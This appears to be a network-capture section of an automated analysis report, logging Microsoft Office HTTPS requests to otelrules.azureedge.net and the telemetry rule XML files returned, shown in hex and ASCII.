2024-10-28 05:27:56 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-28 05:27:56 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-28 05:27:56 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:57 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:57 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:57 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 3be177bf-d01e-007a-546e-28f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052757Z-15b8d89586fzhrwgk23ex2bvhw00000007f00000000001dc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:57 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:57 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052757Z-16849878b78fkwcjkpn19c5dsn00000003h000000000fbp9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:57 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:57 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:57 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:57 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052757Z-16849878b785jrf8dn0d2rczaw00000005sg0000000079ee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:27:57 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:57 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:57 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:57 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 8f1f3dd8-601e-0097-4789-28f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052757Z-15b8d89586fmc8ck21zz2rtg1w00000001wg0000000006bv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:57 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:57 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:57 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:57 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5d69bbb7-d01e-008e-6d6a-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052757Z-17c5cb586f672xmrz843mf85fn00000003f0000000000uu9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:57 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:58 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:58 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: d919e2dc-e01e-001f-153d-261633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052758Z-r197bdfb6b4jlq9hb8xf0re6t400000004k0000000009nhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:58 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:58 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052758Z-16849878b78qg9mlz11wgn0wcc000000042000000000m8fm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:58 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7aa3dd97-101e-005a-6a20-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052758Z-r197bdfb6b4zd9tpkpdngrtchw00000003vg000000005huw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:58 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:58 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: d6813257-101e-0034-034f-2896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052758Z-15b8d89586fmc8ck21zz2rtg1w00000001sg000000005ms8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:58 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:58 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:58 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052758Z-16849878b78qwx7pmw9x5fub1c00000002t00000000043uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:58 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
